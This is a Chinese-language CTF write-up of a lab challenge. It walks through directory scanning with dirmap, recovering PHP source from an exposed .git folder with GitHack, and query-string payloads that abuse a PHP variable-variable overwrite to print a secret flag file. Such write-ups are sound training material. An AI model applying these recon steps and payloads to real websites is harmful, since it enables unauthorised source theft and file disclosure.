打开靶场是一个非常正式的网页?到处扒拉一下,也在contact
处进行了intruder测试,没有什么结果。
再查看页面代码和网络,也没有什么。所以又启动TOOLs。
那句话怎么说来着?dirmap
一扫描起来,就发了狠……反正扫出很多东西。
比较瞩目的是前排好多zip
,www
,rar
,bak
——因为之前一些靶场中,这些往往就是把源码下载到本地的URL。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
[200][application/octet-stream][137.00b] http://e504e764-ea4e-4800-9e92-02b69f55df33.node4.buuoj.cn/.git/config
[200][text/html; charset=UTF-8][28.44kb] http://e504e764-ea4e-4800-9e92-02b69f55df33.node4.buuoj.cn/admin.rar
[200][text/html; charset=UTF-8][28.44kb] http://e504e764-ea4e-4800-9e92-02b69f55df33.node4.buuoj.cn/2.rar
[200][text/html; charset=UTF-8][28.44kb] http://e504e764-ea4e-4800-9e92-02b69f55df33.node4.buuoj.cn/a.rar
[200][text/html; charset=UTF-8][28.44kb] http://e504e764-ea4e-4800-9e92-02b69f55df33.node4.buuoj.cn/2014.rar
[200][text/html; charset=UTF-8][28.44kb] http://e504e764-ea4e-4800-9e92-02b69f55df33.node4.buuoj.cn/2015.zip
[200][text/html; charset=UTF-8][28.44kb] http://e504e764-ea4e-4800-9e92-02b69f55df33.node4.buuoj.cn/bak.rar
[200][text/html; charset=UTF-8][28.44kb] http://e504e764-ea4e-4800-9e92-02b69f55df33.node4.buuoj.cn/bbs.zip
[200][text/html; charset=UTF-8][28.44kb] http://e504e764-ea4e-4800-9e92-02b69f55df33.node4.buuoj.cn/2.zip
...仅截取部分
|
不过这次一个个点开,没有一个进行下载任务。
目标转向第一个文件/.git/
。如果用github clone或者配置过github pages+hexo那倒霉玩意的,可能有点熟悉这个是什么。
出动GitHack
下载下来一个文件夹,里面有:
1
2
3
4
5
6
|
assets
flag.php
index.php
|
$$x?第一次看还觉得很陌生……
flag.php
中:
1
2
3
4
5
6
|
<?php
$flag = file_get_contents('/flag');
|
在index.php
中看到:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
|
依旧是先translate一下:
- 1)获取当前元素的键名($key
获取):foreach ($array as $key => $value){// 执行操作}
- 2)遍历对象属性($key
获取当前属性名称,$value
获取当前属性的值):foreach ($object as $key => $value) {// 执行操作}
- 4.可变变量
$$x
:是一种特殊的语法,允许使用变量的值作为另一个变量的名称。$a = 'hello';$b = 'a';echo $$b; // 输出:hello
foreach()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
foreach($_POST as $x => $y){
$$x = $y;
}
//POST传入ass=flag, $x=ass, $y=flag, $$x=$y=$ass=flag
foreach($_GET as $x => $y){
$$x = $$y;
}
//GET传入ass=flag, $x=ass, $y=flag, $$y=$flag, $$x=$ass, $$x=$$y=$flag, $ass=$flag
|
1
1
2
3
4
5
6
7
8
9
10
|
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
|
GET传入flag=?
,进行判断:
payload
flag=ass,$_GET['flag']
=ass, $x
=flag, 不符合判断条件
flag=ass&ass=flag, 有两个键值对flag=>ass, ass=>flag,
-
1.$_GET['flag']
=ass, $x
=flag不成立——ass!=flag && flag==flag
-
2.$_GET['flag']
=ass, $x
=ass,成立——ass===ass && ass!==flag
输出$handsome
。
最终Payload
1.?handsome=flag&flag=s&s=flag
:比较麻烦的一种,就是遵循上述逻辑
2.?handsome=flag&flag=handsome
:最佳,没有把第二个foreach()忽略,使$handsome
=$flag
,同时引用上面的逻辑进行了解题。
2
1
2
3
4
5
6
7
8
|
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
//GET请求和POST请求中都没有名为 "flag" 的参数,则执行 exit($yds)
|
?yds=flag
即可,原理是第二个foreach()
3
1
2
3
4
5
6
7
8
|
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
//
|
?flag=flag&is=flag
POST没有变量$x=$y所以2和3(好像)都只有GET方式的解决方式。但是我昨天晚上记得随便POST传参yds=flag确实得到flag了。。。可能只是幻觉
如果问flag在哪里那我只能说,flag与你同在。
ファンワイ Bypass
GET传参,1默认类型为int,作为value时类型为string。
?handsome=flag&flag=1&1=flag
:
flag=(string)1&(int)1=flag,所以就发生了一点Bypass——无法进入if判断语句,就绕过它。得到一个the flag is:
。